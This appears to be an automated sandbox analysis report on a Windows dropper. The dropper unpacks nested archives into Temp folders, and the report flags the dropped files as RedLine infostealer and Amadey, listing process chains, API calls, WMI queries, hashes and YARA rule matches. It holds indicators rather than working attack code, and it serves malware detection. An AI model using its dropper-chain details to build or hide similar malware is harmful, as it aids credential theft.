Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.3.sMt14vz.exe.49fac20.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 5.0.kxL91dA.exe.4e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.3.sMt14vz.exe.49fac20.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

Source: 21fvBVFMsn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.3.sMt14vz.exe.49fac20.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 5.0.kxL91dA.exe.4e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.3.sMt14vz.exe.49fac20.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A41F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	0_2_00A41F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00321F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	1_2_00321F90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	2_2_010D1F90

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A43BA2	0_2_00A43BA2
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A45C9E	0_2_00A45C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00323BA2	1_2_00323BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00325C9E	1_2_00325C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D3BA2	2_2_010D3BA2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D5C9E	2_2_010D5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Code function: 5_2_0279F7C8	5_2_0279F7C8
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Code function: 5_2_0279F368	5_2_0279F368

Source: 21fvBVFMsn.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 608538 bytes, 2 files, at 0x2c +A "sEm51bM.exe" +A "nIp99Jf.exe", ID 1891, number 1, 25 datablocks, 0x1503 compression
Source: sEm51bM.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 415252 bytes, 2 files, at 0x2c +A "sMt14vz.exe" +A "lbt58JR.exe", ID 1972, number 1, 18 datablocks, 0x1503 compression
Source: sMt14vz.exe.1.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 50172 bytes, 2 files, at 0x2c +A "ijx54ck.exe" +A "kxL91dA.exe", ID 1952, number 1, 6 datablocks, 0x1503 compression

Source: 21fvBVFMsn.exe, 00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs 21fvBVFMsn.exe
Source: 21fvBVFMsn.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs 21fvBVFMsn.exe

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Section loaded: sfc.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe 0A763637206A70A3EC6707FE5728EA673AE3BC11EB5E059D962E99DCC3991F31

Source: 21fvBVFMsn.exe	ReversingLabs: Detection: 76%
Source: 21fvBVFMsn.exe	Virustotal: Detection: 55%

Source: 21fvBVFMsn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\21fvBVFMsn.exe C:\Users\user\Desktop\21fvBVFMsn.exe
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A41F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	0_2_00A41F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00321F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	1_2_00321F90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	2_2_010D1F90

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ijx54ck.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/8@0/1

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A4597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00A4597D

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A43FEF CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00A43FEF

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Code function: 3_2_00007FFBACE61B61 ChangeServiceConfigA,

3_2_00007FFBACE61B61

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A44FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_00A44FE0

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Command line argument: Kernel32.dll	0_2_00A42BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Command line argument: Kernel32.dll	1_2_00322BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Command line argument: Kernel32.dll	2_2_010D2BFB

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Automated click: OK

Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 21fvBVFMsn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 21fvBVFMsn.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 21fvBVFMsn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: 0C:\nusegilo zawufeha_koboxuyokefamo\doneni.pdb source: sEm51bM.exe, 00000001.00000003.242054317.0000000004724000.00000004.00000020.00020000.00000000.sdmp, lbt58JR.exe.1.dr
Source:	Binary string: wextract.pdb source: 21fvBVFMsn.exe, sEm51bM.exe.0.dr, sMt14vz.exe.1.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: 21fvBVFMsn.exe, 00000000.00000003.241383449.0000000002ED4000.00000004.00000020.00020000.00000000.sdmp, 21fvBVFMsn.exe, 00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp, nIp99Jf.exe.0.dr
Source:	Binary string: wextract.pdbGCTL source: 21fvBVFMsn.exe, sEm51bM.exe.0.dr, sMt14vz.exe.1.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: sMt14vz.exe, 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, ijx54ck.exe, 00000003.00000000.242765935.00000000006E2000.00000002.00000001.01000000.00000006.sdmp, ijx54ck.exe.2.dr
Source:	Binary string: C:\nusegilo zawufeha_koboxuyokefamo\doneni.pdb source: sEm51bM.exe, 00000001.00000003.242054317.0000000004724000.00000004.00000020.00020000.00000000.sdmp, lbt58JR.exe.1.dr

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A4724D push ecx; ret	0_2_00A47260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_0032724D push ecx; ret	1_2_00327260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D724D push ecx; ret	2_2_010D7260
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE60C91 push eax; ret	3_2_00007FFBACE60DDF
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE607CA push eax; ret	3_2_00007FFBACE60A0B
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE61B61 push eax; ret	3_2_00007FFBACE62026
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE61A1D push eax; ret	3_2_00007FFBACE61B5E
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE60E52 push eax; ret	3_2_00007FFBACE60ECE
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE60ED1 push eax; ret	3_2_00007FFBACE61009
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE6077D push eax; ret	3_2_00007FFBACE607C7
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Code function: 3_2_00007FFBACE60C34 push eax; ret	3_2_00007FFBACE60C8E

Source: C:\Users\user\Desktop\21fvBVFMsn.exe

Code function: 0_2_00A4202A memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,GetModuleFileNameA,LocalAlloc,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00A4202A

Source: ijx54ck.exe.2.dr

Static PE information: 0xE382D401 [Fri Dec 15 06:19:45 2090 UTC]

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\21fvBVFMsn.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Jump to dropped file

Source: C:\Users\user\Desktop\21fvBVFMsn.exe	Code function: 0_2_00A41AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	0_2_00A41AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe	Code function: 1_2_00321AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	1_2_00321AE8
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe	Code function: 2_2_010D1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	2_2_010D1AE8

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
